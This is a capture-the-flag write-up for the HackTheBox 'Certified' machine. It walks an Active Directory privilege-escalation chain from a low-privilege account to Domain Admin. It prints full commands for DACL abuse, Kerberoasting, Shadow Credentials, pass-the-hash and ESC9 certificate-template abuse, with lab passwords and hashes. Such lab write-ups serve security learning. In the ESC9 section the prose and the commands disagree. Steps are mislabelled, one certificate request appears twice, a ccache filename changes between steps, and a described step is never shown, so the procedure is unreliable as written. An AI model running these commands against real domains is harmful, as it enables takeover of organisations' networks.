A write-up of the HackTheBox machine “Certified”. This box revolves around a vulnerable certificate template that we can abuse to achieve Domain Admin privileges.
The target

The host is a domain controller for certified.htb, and we are handed one working account, judith.mader. The objective is the built-in Administrator. In outline the path runs from that account, through ownership of a group, to a service account, and finally to the certificate authority, where a misconfigured template lets us issue ourselves a certificate in the Administrator’s name.
A service scan shows the usual domain controller ports: DNS, Kerberos, RPC, NetBIOS, LDAP and LDAPS, SMB, and the global catalog.
└─$ sudo nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269 10.10.11.41 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 22:40 AWST
Nmap scan report for 10.10.11.41
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-01 21:40:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-12-01T21:41:47+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-01T21:41:47+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-12-01T21:41:47+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
The LDAP certificate gives us the controller’s hostname, DC01.certified.htb, which we edit into /etc/hosts alongside the domain.
Mapping the domain
Any user account is enough to read most of the AD. We collect that data and load it into BloodHound to see which objects our user can act on.
bloodhound-python -u 'judith.mader' -p 'judith09' -d certified.htb -ns 10.10.11.41 --zip -c all
Taking control of a service account
Owning the group lets us grant ourselves the right to edit its membership, then add our own account to it.
impacket-dacledit -action write -rights WriteMembers \
-principal judith.mader \
-target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' \
certified.htb/judith.mader:judith09
Adding ourselves:
net rpc group addmem "CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.10.11.41"
This group has GenericWrite permissions over the management_svc service account. That account has an SPN, which means they’re also vulnerable to Kerberoasting. Let’s try that first:
sudo impacket-GetUserSPNs -request -dc-ip 10.10.11.41 certified.htb/judith.mader:judith09 -outputfile kerberoast.txt
The hash does not crack, which is the expected result against a long, random service password. Kerberoasting is not the only use of write access, though. GenericWrite lets us set the account’s msDS-KeyCredentialLink attribute, the basis of the Shadow Credentials technique: we register our own key material against the account and then authenticate as it through PKINIT, without ever learning its password.
We can use bloodyAD (from https://github.com/CravateRouge/bloodyAD) to add the key credential. (pyWhisker does the same job but has been unreliable since Python 3.12.)
python3 bloodyAD.py -d certified.htb -u judith.mader -p judith09 --dc-ip 10.10.11.41 add shadowCredentials management_svc
From the issued certificate and private key we request a Kerberos ticket, then recover the account’s NT-hash by asking for and decrypting a service ticket with the AS-REP key. Let’s get the TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem bloodyAD/SeHZwPCb_cert.pem -key-pem bloodyAD/SeHZwPCb_priv.pem certified.htb/management_svc SeHZwPCb.ccache
We save the TGT in our environment variables:
export KRB5CCNAME=management_svc.ccache
And we collect the NT-hash:
python3 PKINITtools/getnthash.py -key <as-rep-key> certified.htb/management_svc
That returns the NT hash for management_svc, which is enough to authenticate by using Pass-the-Hash techniques!
Reaching the certificate operator
BloodHound shows management_svc has GenericAll over the ca_operator account, so we authenticate with the hash and reset that account’s password. Authenticating with the hash:
pth-rpcclient -U certified.htb/management_svc 10.10.11.41 --pw-nt-hash
We change the password to something simple, like Welkom01!:
setuserinfo ca_operator 23 Welkom01!
The account name seems like a clue for the next step. ca_operator has enrolment rights on the certificate authority (CA). That’s cool – let’s look at templates!
The vulnerable template
We use certipy to enumerate the CA and flag templates that are configured unsafely.
certipy-ad find -u [email protected] -dc-ip 10.10.11.41 -vulnerable
It reports the CA certified-DC01-CA and a template, CertifiedAuthentication, that is vulnerable to ESC9. ESC9 covers templates that lack the security extension binding a certificate to a specific account. Without that extension, the certificate is trusted on the strength of whatever User Principal Name (UPN) the requesting account happens to carry at the time.
Issuing a certificate as the Administrator
The approach follows directly from the weakness. We change ca_operator’s UPN to Administrator, request a certificate while it carries that name, then set the UPN back so the account still works afterwards.
First we take over ca_operator through Shadow Credentials, using the management_svc hash:
certipy-ad account update -username [email protected] -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user ca_operator -upn Administrator
Then we set the UPN to Administrator. Because the template does not enforce the security extension, the bare account name is accepted with no domain suffix.
certipy-ad req -username [email protected] -hashes 'a958a3e244a682c7be90850c7a4e69eb' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -dc-ip 10.10.11.41
We request the certificate, which the CA issues against the current UPN:
certipy-ad req -username [email protected] -hashes 'a958a3e244a682c7be90850c7a4e69eb' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -dc-ip 10.10.11.41
And we put the original UPN back:
certipy-ad account update -username [email protected] -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user ca_operator -upn [email protected]
Finally we authenticate with the certificate. Because it was issued in the Administrator’s name, the CA hands back the Administrator’s credentials.
certipy-ad auth -pfx administrator.pfx -domain certified.htb
At this point we have Domain Admin, and so we are done!